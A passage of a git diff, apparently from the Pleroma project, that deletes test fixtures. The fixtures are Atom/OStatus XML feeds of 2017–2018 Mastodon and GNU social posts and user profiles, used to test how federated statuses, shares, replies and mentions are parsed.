target="_blank"><span class="invisible">https://</span><span class="">freezepeach.xyz</span><span class="invisible"></span></a>), or friendica. They are all on the same network, so you can still follow all your friends!</p> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1503965:objectType=Status - 2017-04-03T17:31:30Z - 2017-04-03T17:31:30Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@20Hz" class="u-url mention">@<span>20Hz</span></a></span> you could also try out a GS instance, which are on the same network :)</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1503955:objectType=Status - 2017-04-03T17:31:08Z - 2017-04-03T17:31:08Z - lambadalambda shared a status by shpuld@shitposter.club - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:shitposter.club,2017-04-03:noticeId=2251717:objectType=note - 2017-04-03T17:06:43Z - 2017-04-03T17:12:06Z - New status by shpuld@shitposter.club - - https://shitposter.club/user/5381 - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - shpuld@shitposter.club - - - - - shpuld - shp - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - reposting the classic <a href="https://shitposter.club/file/89c5fe483526caf3a46cfc5cdd4ae68061054350e767397731af658d54786e31.jpg" class="attachment" rel="nofollow external">https://shitposter.club/attachment/219846</a> - - - public - - - reposting the classic <a href="https://shitposter.club/file/89c5fe483526caf3a46cfc5cdd4ae68061054350e767397731af658d54786e31.jpg" class="attachment" rel="nofollow external">https://shitposter.club/attachment/219846</a> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1503929:objectType=Status - 2017-04-03T17:30:43Z - 2017-04-03T17:30:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@ghostbar" class="u-url mention">@<span>ghostbar</span></a></span> Normally you shouldn&apos;t be running tens of thousands of users on one instance... That&apos;s one of the reasons for federation.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1477255:objectType=Status - 2017-04-03T08:24:39Z - 2017-04-03T08:24:39Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@dot_tiff" class="u-url mention">@<span>dot_tiff</span></a></span> it&apos;s the vaporwave mode.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1476210:objectType=Status - 2017-04-03T07:45:42Z - 2017-04-03T07:45:42Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-03:noticeId=1475727:objectType=note - 2017-04-03T07:44:43Z - 2017-04-03T07:44:48Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Here's a song by the original anti-idol, Togawa Jun: <a href="https://www.youtube.com/watch?v=kNI_NK2YY-s" rel="nofollow external noreferrer" class="attachment">https://www.youtube.com/watch?v=kNI_NK2YY-s</a> - - public - - - Here's a song by the original anti-idol, Togawa Jun: <a href="https://www.youtube.com/watch?v=kNI_NK2YY-s" rel="nofollow external noreferrer" class="attachment">https://www.youtube.com/watch?v=kNI_NK2YY-s</a> - - public - - - - - tag:mastodon.social,2017-04-03:objectId=1476047:objectType=Status - 2017-04-03T07:39:14Z - 2017-04-03T07:39:14Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@amrrr" class="u-url mention">@<span>amrrr</span></a></span> tumblr/10, but pretty good!</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1475949:objectType=Status - 2017-04-03T07:35:45Z - 2017-04-03T07:35:45Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@Shookaite" class="u-url mention">@<span>Shookaite</span></a></span> Oh, you mean like userstyles?</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1475581:objectType=Status - 2017-04-03T07:20:03Z - 2017-04-03T07:20:03Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@Shookaite" class="u-url mention">@<span>Shookaite</span></a></span> Would be nice if someone helped port Pleroma to Mastodon, that has a theme switcher (click on the cog in the upper right): <a href="https://pleroma.heldscal.la/main/all" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">pleroma.heldscal.la/main/all</span><span class="invisible"></span></a></p> - - - public - - - - - - tag:mastodon.social,2017-04-02:objectId=1457325:objectType=Status - 2017-04-02T21:57:43Z - 2017-04-02T21:57:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@rhosyn" class="u-url mention">@<span>rhosyn</span></a></span> <span class="h-card"><a href="https://mastodon.social/@Meaningness" class="u-url mention">@<span>Meaningness</span></a></span> you could take a look at those listed at social.guhnoo.org</p> - - - - public - - - - - - tag:mastodon.social,2017-04-02:objectId=1447926:objectType=Status - 2017-04-02T18:31:52Z - 2017-04-02T18:31:52Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>My main account is <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> , btw.</p> - - - public - - - - - tag:mastodon.social,2017-04-02:objectId=1447878:objectType=Status - 2017-04-02T18:30:37Z - 2017-04-02T18:30:37Z - lambadalambda shared a status by Firstaide@awoo.space - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:awoo.space,2017-04-02:objectId=135324:objectType=Status - 2017-04-02T18:29:32Z - 2017-04-02T18:29:32Z - New status by Firstaide@awoo.space - - https://awoo.space/users/Firstaide - http://activitystrea.ms/schema/1.0/person - https://awoo.space/users/Firstaide - Firstaide - Firstaide@awoo.space - A smol awoo account, for a smol autistic 💙 -They/them please! -NB/white/ace - - - - Firstaide - Miff🚑✨ - A smol awoo account, for a smol autistic 💙 -They/them please! -NB/white/ace - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><a href="https://mastodon.social/users/lambadalambda" class="h-card u-url p-nickname mention">@<span>lambadalambda</span></a> yeah, I think that's p much the big issue here? <br>When I first heard of Masto, I thought it was just like twitter at first, I had no idea federation was even a thing?, and I actually joined p early on? :-o </p><p>idk I think more stuff needs to be done about federation promotion, but honestly its gotta come from the get go when people get here to make an account I feel :-o</p> - - - public - - - - <p><a href="https://mastodon.social/users/lambadalambda" class="h-card u-url p-nickname mention">@<span>lambadalambda</span></a> yeah, I think that's p much the big issue here? <br>When I first heard of Masto, I thought it was just like twitter at first, I had no idea federation was even a thing?, and I actually joined p early on? :-o </p><p>idk I think more stuff needs to be done about federation promotion, but honestly its gotta come from the get go when people get here to make an account I feel :-o</p> - - public - - - - diff --git a/test/fixtures/mastodon-note-cw.xml b/test/fixtures/mastodon-note-cw.xml deleted file mode 100644 index 02f49dd61..000000000 --- a/test/fixtures/mastodon-note-cw.xml +++ /dev/null @@ -1,39 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-10:objectId=5551985:objectType=Status - 2017-05-10T12:21:36Z - 2017-05-10T12:21:36Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - technologic - <p>test</p> - - public - - - - diff --git a/test/fixtures/mastodon-note-unlisted.xml b/test/fixtures/mastodon-note-unlisted.xml deleted file mode 100644 index d21017b80..000000000 --- a/test/fixtures/mastodon-note-unlisted.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-10:objectId=5551985:objectType=Status - 2017-05-10T12:21:36Z - 2017-05-10T12:21:36Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - technologic - <p>test</p> - unlisted - - - - diff --git a/test/fixtures/mastodon-problematic.xml b/test/fixtures/mastodon-problematic.xml deleted file mode 100644 index a39e72759..000000000 --- a/test/fixtures/mastodon-problematic.xml +++ /dev/null @@ -1,72 +0,0 @@ - - - https://icosahedron.website/users/shel.atom - shel🍖‼️ - Gay jackal dog, poet, future librarian. - -http://datapup.info -avatar: @puppytube@twitter.com - 2017-05-02T23:26:01Z - https://icosahedron.website/system/accounts/avatars/000/001/207/original/b1e07b09ae1cc787.png?1493767561 - - https://icosahedron.website/users/shel - http://activitystrea.ms/schema/1.0/person - https://icosahedron.website/users/shel - shel - shel@icosahedron.website - <p>Gay jackal dog, poet, future librarian. </p><p><a href="http://datapup.info/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">datapup.info/</span><span class="invisible"></span></a><br />avatar: @puppytube@twitter.com</p> - - - - shel - shel🍖‼️ - Gay jackal dog, poet, future librarian. - -http://datapup.info -avatar: @puppytube@twitter.com - public - - - - - - - tag:icosahedron.website,2017-05-10:objectId=1414013:objectType=Status - 2017-05-10T17:16:24Z - 2017-05-10T17:16:24Z - shel shared a status by instance_names@cybre.space - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:cybre.space,2017-05-10:objectId=946671:objectType=Status - 2017-05-10T17:15:51Z - 2017-05-10T17:15:52Z - New status by instance_names@cybre.space - - https://cybre.space/users/instance_names - http://activitystrea.ms/schema/1.0/person - https://cybre.space/users/instance_names - instance_names - instance_names@cybre.space - <p>name ideas for your new mastodon instance. made by <span class="h-card"><a href="https://witches.town/@lycaon">@<span>lycaon</span></a></span> source available at <a href="https://github.com/LycaonIsAWolf/instance_names"><span class="invisible">https://</span><span class="ellipsis">github.com/LycaonIsAWolf/insta</span><span class="invisible">nce_names</span></a></p> - - - - instance_names - instance names - name ideas for your new mastodon instance. made by @lycaon source available at https://github.com/LycaonIsAWolf/instance_names - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>dildo.codes</p> - unlisted - - - <p>dildo.codes</p> - - public - - - - diff --git a/test/fixtures/mastodon_conversation.xml b/test/fixtures/mastodon_conversation.xml deleted file mode 100644 index 8faab2304..000000000 --- a/test/fixtures/mastodon_conversation.xml +++ /dev/null @@ -1,30 +0,0 @@ - - - tag:mastodon.social,2017-08-28:objectId=16402826:objectType=Status - 2017-08-28T17:58:55Z - 2017-08-28T17:58:55Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>test. <a href="https://mastodon.social/media/XCp0OHGPON9kWZwhjaI" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">mastodon.social/media/XCp0OHGP</span><span class="invisible">ON9kWZwhjaI</span></a></p> - - - public - - - - diff --git a/test/fixtures/nil_mention_entry.xml b/test/fixtures/nil_mention_entry.xml deleted file mode 100644 index e13024cb3..000000000 --- a/test/fixtures/nil_mention_entry.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - GNU social - https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom - atarifrosch timeline - Updates from atarifrosch on social.stopwatchingus-heidelberg.de! - https://social.stopwatchingus-heidelberg.de/avatar/18330-96-20150628163706.png - 2017-08-24T11:36:49+02:00 - - http://activitystrea.ms/schema/1.0/person - https://social.stopwatchingus-heidelberg.de/user/18330 - atarifrosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - - - - - atarifrosch - Atari-Frosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - Düsseldorf, NRW, Germany - - - homepage - https://www.atari-frosch.de/ - true - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=note - New note by atarifrosch - 2017-08-22 Bundesverfassungsgericht: Erfolgreiche Verfassungsbeschwerde gegen die Versagung vorläufiger Leistungen für Kosten der Unterkunft und Heizung – <a href="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" title="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" class="attachment" id="attachment-450768" rel="nofollow external">https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html</a> !<a href="http://quitter.se/group/2184/id" class="h-card group" title="HartzIV (hartziv)">hartziv</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T12:00:21+00:00 - 2017-08-22T12:00:21+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=thread:crc32=28a35f44 - - - - - - - - diff --git a/test/fixtures/ostatus_incoming_post.xml b/test/fixtures/ostatus_incoming_post.xml deleted file mode 100644 index 7967e1b32..000000000 --- a/test/fixtures/ostatus_incoming_post.xml +++ /dev/null @@ -1,57 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-29T18:25:38+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-29:noticeId=1967725:objectType=note - New note by lambadalambda - Will it blend? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:25:38+00:00 - 2017-04-29T18:25:38+00:00 - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=3f3a9dd83acc4e35 - - - - - - diff --git a/test/fixtures/ostatus_incoming_post_tag.xml b/test/fixtures/ostatus_incoming_post_tag.xml deleted file mode 100644 index 0f99c4126..000000000 --- a/test/fixtures/ostatus_incoming_post_tag.xml +++ /dev/null @@ -1,59 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-29T18:25:38+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-29:noticeId=1967725:objectType=note - New note by lambadalambda - Will it blend? - - - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:25:38+00:00 - 2017-04-29T18:25:38+00:00 - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=3f3a9dd83acc4e35 - - - - - - diff --git a/test/fixtures/ostatus_incoming_reply.xml b/test/fixtures/ostatus_incoming_reply.xml deleted file mode 100644 index 83a427a68..000000000 --- a/test/fixtures/ostatus_incoming_reply.xml +++ /dev/null @@ -1,60 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-04-30T09:30:32+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-04-30:noticeId=1978790:objectType=comment - New comment by lambadalambda - @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> why not indeed. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T09:30:32+00:00 - 2017-04-30T09:30:32+00:00 - - - - https://gs.archae.me/conversation/327120 - - - - - - - diff --git a/test/fixtures/share-gs-local.xml b/test/fixtures/share-gs-local.xml deleted file mode 100644 index 9d52eab7b..000000000 --- a/test/fixtures/share-gs-local.xml +++ /dev/null @@ -1,99 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-03:noticeId=2028428:objectType=note - lambadalambda repeated a notice by lain - RT @<a href="https://pleroma.soykaf.com/users/lain" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/share - 2017-05-03T08:05:41+00:00 - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/activity - LOCAL_ID - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/post - 2017-05-03T08:04:44+00:00 - 2017-05-03T08:04:44+00:00 - - http://activitystrea.ms/schema/1.0/person - LOCAL_USER - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - New note by lain - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-03T08:04:44+00:00 - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - - - - diff --git a/test/fixtures/share-gs.xml b/test/fixtures/share-gs.xml deleted file mode 100644 index ab5e488bd..000000000 --- a/test/fixtures/share-gs.xml +++ /dev/null @@ -1,99 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-03:noticeId=2028428:objectType=note - lambadalambda repeated a notice by lain - RT @<a href="https://pleroma.soykaf.com/users/lain" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/share - 2017-05-03T08:05:41+00:00 - 2017-05-03T08:05:41+00:00 - - http://activitystrea.ms/schema/1.0/activity - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - http://activitystrea.ms/schema/1.0/post - 2017-05-03T08:04:44+00:00 - 2017-05-03T08:04:44+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - New note by lain - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-03T08:04:44+00:00 - - - - https://pleroma.soykaf.com/contexts/ede39a2b-7cf3-4fa4-8ccd-cb97431bcc22 - - - - - - diff --git a/test/fixtures/share.xml b/test/fixtures/share.xml deleted file mode 100644 index e07b88680..000000000 --- a/test/fixtures/share.xml +++ /dev/null @@ -1,54 +0,0 @@ - - - tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status - 2017-05-03T08:21:09Z - 2017-05-03T08:21:09Z - lambadalambda shared a status by lain@pleroma.soykaf.com - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - 2017-05-03T08:04:44Z - 2017-05-03T08:05:52Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - diff --git a/test/fixtures/tesla_mock/7369654.atom b/test/fixtures/tesla_mock/7369654.atom deleted file mode 100644 index 74fd9ce6b..000000000 --- a/test/fixtures/tesla_mock/7369654.atom +++ /dev/null @@ -1,44 +0,0 @@ - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-22:noticeId=7369654:objectType=comment - New comment by shpuld - @<a href="https://testing.pleroma.lol/users/lain" class="h-card mention" title="Rael Electric Razor">lain</a> me far right - - - http://activitystrea.ms/schema/1.0/post - 2018-02-22T09:20:12+00:00 - 2018-02-22T09:20:12+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - - - - - - shpuld - shp - - - - - - - tag:shitposter.club,2018-02-22:objectType=thread:nonce=e5a7c72d60a9c0e4 - - - - https://shitposter.club/api/statuses/user_timeline/5381.atom - shp - - - - https://shitposter.club/avatar/5381-96-20171230093854.png - 2018-02-23T13:30:15+00:00 - - - - - diff --git a/test/fixtures/tesla_mock/atarifrosch_feed.xml b/test/fixtures/tesla_mock/atarifrosch_feed.xml deleted file mode 100644 index e00df782e..000000000 --- a/test/fixtures/tesla_mock/atarifrosch_feed.xml +++ /dev/null @@ -1,473 +0,0 @@ - - - GNU social - https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom - atarifrosch-Zeitleiste - Aktualisierungen von atarifrosch auf social.stopwatchingus-heidelberg.de! - https://social.stopwatchingus-heidelberg.de/avatar/18330-96-20150628163706.png - 2017-08-24T12:06:55+02:00 - - http://activitystrea.ms/schema/1.0/person - https://social.stopwatchingus-heidelberg.de/user/18330 - atarifrosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - - - - - atarifrosch - Atari-Frosch - Nerd, Pirat, Debian user, CAcert assurer, Geocacher, Freifunker. Autismus/Depression, agender. GnuPG Key-ID: 0xBCF81ADE - - Düsseldorf, NRW, Germany - - - homepage - https://www.atari-frosch.de/ - true - - - - - - - - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978735:objectType=note - atarifrosch repeated a notice by hoergen - RT @<a href="https://social.hoergen.org/hoergen" class="h-card mention" title="hoergen">hoergen</a> Das falsche Bild der Tagesschau &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" class="attachment" id="attachment-450858" rel="nofollow external">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - https://social.stopwatchingus-heidelberg.de/notice/978735 - http://activitystrea.ms/schema/1.0/share - 2017-08-24T09:18:25+00:00 - 2017-08-24T09:18:25+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:social.hoergen.org,2017-08-24:noticeId=222320:objectType=note - - Das falsche Bild der Tagesschau <br /> &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.hoergen.org/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <br /> <br /> <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" rel="nofollow external noreferrer" class="attachment">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - https://social.hoergen.org/notice/222320 - http://activitystrea.ms/schema/1.0/post - 2017-08-24T07:36:31+00:00 - 2017-08-24T07:36:31+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.hoergen.org/user/2 - hoergen - aka Andi Memyself #humanist #nerd Menschen liebhabender Misanthrop und auch sonst sehr vielseitig interessiert. - - - - - - hoergen - hoergen - aka Andi Memyself #humanist #nerd Menschen liebhabender Misanthrop und auch sonst sehr vielseitig interessiert. - - Berlin - - - homepage - https://hyperblog.de/hoergen/ - true - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.hoergen.org,2017-08-24:noticeId=222320:objectType=note - New note by hoergen - Das falsche Bild der Tagesschau <br /> &quot;Auffallend &quot;erfolgreich&quot; - Andrea Nahles und Manuela Schwesig&quot; #<span class="tag"><a href="https://social.hoergen.org/tag/geringverdiener" rel="tag">Geringverdiener</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mindestlohn" rel="tag">Mindestlohn</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/mannxismus" rel="tag">mannxismus</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/erwerbsminderungsrente" rel="tag">Erwerbsminderungsrente</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/arbeitnehmerflexibilisierung" rel="tag">ArbeitnehmerFlexibilisierung</a></span> #<span class="tag"><a href="https://social.hoergen.org/tag/altersarmut" rel="tag">AltersArmut</a></span> ..... <br /> <br /> <a href="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" title="http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html" rel="nofollow external noreferrer" class="attachment">http://www.tagesschau.de/inland/btw17/bilanz-schwesig-nahles-101.html</a> - - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - - https://social.hoergen.org/api/statuses/user_timeline/2.atom - hoergen - - - https://social.stopwatchingus-heidelberg.de/avatar/54316-original-20170824072526.jpeg - 2017-08-24T09:48:30+00:00 - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - 